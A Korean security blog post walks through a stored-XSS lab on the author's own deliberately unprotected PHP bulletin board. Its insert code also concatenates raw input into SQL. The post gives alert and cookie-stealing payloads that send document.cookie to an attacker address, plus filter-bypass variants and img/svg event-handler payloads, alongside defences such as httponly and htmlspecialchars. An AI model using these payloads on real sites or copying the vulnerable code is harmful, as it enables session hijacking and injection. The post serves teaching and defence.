보안을 그리다, 훈이

[Web Hacking] XSS(Cross-Site Scripting) 실습 본문

Security/Web Hacking

[Web Hacking] XSS(Cross-Site Scripting) 실습

HooNeee 2021. 10. 27. 20:52

 

 

앞서 포스팅한 [Web Hacking] XSS(Cross-Site Scripting) 취약점을 토대로 실습을 진행해보았다.

 

XSS 실습

 

앞서 제작한 게시판 웹앱에서 실습해 보기로 했다.

 

<!-- board - write_action.php -->

<?php
$connect = mysqli_connect("127.0.0.1", "root", "password", "db_board") or die("fail");

$id = $_POST['name'];                   //Writer
$title = $_POST['title'];               //Title
$content = $_POST['content'];           //Content
$date = date('Y-m-d H:i:s');            //Date

$URL = './index.php';                   //return URL


$query = "INSERT INTO board (number, title, content, date, hit, id) 
        values(null,'$title', '$content', '$date', 0, '$id')";


$result = $connect->query($query);
if ($result) {
?> <script>
        alert("<?php echo "게시글이 등록되었습니다." ?>");
        location.replace("<?php echo $URL ?>");
    </script>
<?php
} else {
    echo "게시글 등록에 실패하였습니다.";
}

mysqli_close($connect);
?>

 

위 PHP 코드는 게시판 기능 중 게시글 작성시 필요한 기능인 write_action.php 소스코드이다.

XSS에 대한 어떠한 방지 기능도 구현하지 않았기 때문에 대부분의 공격 기법이 잘 먹히는 것을 확인할 수 있을 것이다.

 


 

먼저, 가장 간단한 alert 구문에 documet.cookie를 입력하고 저장하여, 게시글 확인 시 민감 정보인 쿠키를 출력하도록 Stored XSS 공격을 진행해 보았다.

 

// 공격 스크립트

<script>alert(document.cookie)</script>

 

Stored XSS 1 - Attack

 

Stored XSS 1 - Result

 

위와 같이 쿠키가 정상적으로 출력된 것을 확인할 수 있다.

 


 

쿠키가 잘 출력된 것을 확인했으니, 이번에는 사용자의 쿠키를 탈취한 뒤 공격자에게 전송하는 XSS 공격을 시도해보도록 하겠다.

 

// 공격 스크립트

<script>document.location="localhost/cookie?"+document.cookie</script>

 

위 스크립트를 살펴보면 document.cookie를 통해 사용자의 쿠키를 수집하고, document.location을 통해 수집한 쿠키를 공격자의 웹 사이트로 리다이렉션한다.

 

본 실습에서 공격자를 localhost에서 구현하였기에 주소를 localhost로 입력했다.

 

Stored XSS 2 - Result

 

본 게시글에 접근하는 사용자의 쿠키를 확인하기 위해서는 접근 로그를 기록하는 access_log 파일을 확인하면 된다.

 

access_log 파일은 웹 서버로 들어오는 모든 정보가 기록되는 공간이며, 필자의 환경에서 다음과 같이 명령을 실행하였다.

 

tail -f Applications/mampstack-8.0.3-0/apache2/logs/access_log

 

tail -f access_log

 

위와 같이 수집된 사용자의 쿠키가 실시간으로 출력되는 것을 확인할 수 있다.

 

이를 서버 단에서 방지하기 위해 스크립트에 의한 Cookie 접근을 제한하는 옵션인 httponly를 사용할 수 있다.

PHP 기준, /etc/php.ini 파일에서 session.cookie_httponly = 1로 설정한 후 재시작하면 적용된다.

 


 

[htmlspecialchars 함수]

htmlspecialchars 함수는 문자열에서 특정한 특수문자를 HTML 엔티티로 변환한다.

이 함수를 사용하면 공격자로부터 XSS 공격을 방지할 수 있다.

 

변환되는 문자는 아래와 같다.

 

특수문자 변환된 문자
& &amp;
" &quot;
' &#039;
< &lt;
> &gt;

 

이렇게 변환된 문자열들은 웹 브라우저가 읽더라도 더 이상 스크립트로 처리하지 않기 때문에 공격자가 삽입한 스크립트 코드는 실행되지 않는다.

 

대부분의 언어들은 이러한 처리 기능을 가진 내장 함수를 포함하여 XSS 공격을 방지한다.

 

 

[str_replace 필터링]

<script> 태그 등과 같은 스크립트 삽입을 방지하기 위해 str_replace 함수를 사용하여 필터링하는 방법이다.

 

그러나 자바스크립트는 대소문자를 구별하는 특성을 지니고 있기 때문에 지정한 값만 치환되며 대소문자를 섞어 <ScRipt> 등과 같이 사용하면 XSS 공격이 가능하다.

 

 

[preg_replace 필터링]

preg_replace("검색패턴(정규식)"), "치환할 문자열", 변수);

preg_replace 함수는 str_replace 함수와 달리, 대소문자를 구별하지 않기 때문에 지정한 값의 대소문자 변환 경우의 수는 모두 치환된다.

 

그러나 <sc<script>ript>와 같이 입력하면 우회가 가능하다.

 

 

[XSS Cheat Sheet]

XSS Cheat Sheet를 참조하여 각종 이벤트 핸들러 등 공격 가능한 부분을 파악한 후 대응하는 것이 중요하다.

 

// 공격 스크립트

<script>location.replace("https://hooneee.tistory.com/")</script>
<img src=x onerror=window.location.assign("https://hooneee.tistory.com/")>
<svg onload=window.location.assign("https://hooneee.tistory.com/")>

 

아래와 같이 <script> 태그 외에도 <img onerror>, <svg onload> 등 다양한 태그가 XSS 공격으로 사용될 수 있다.

 

 

[Web Hacking] XSS Cheat Sheet

대표적으로 사용되는 XSS Cheat Sheet입니다. https://portswigger.net/web-security/cross-site-scripting/cheat-sheet Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy Interact..

hooneee.tistory.com

 

XSS Cheat Sheet 관련 웹 사이트 및 문서를 모아두었다. 언젠가 쓸 일이 있지 않을까.

 

 

 

[참고]

https://g-idler.tistory.com/12?category=829171

 

Comments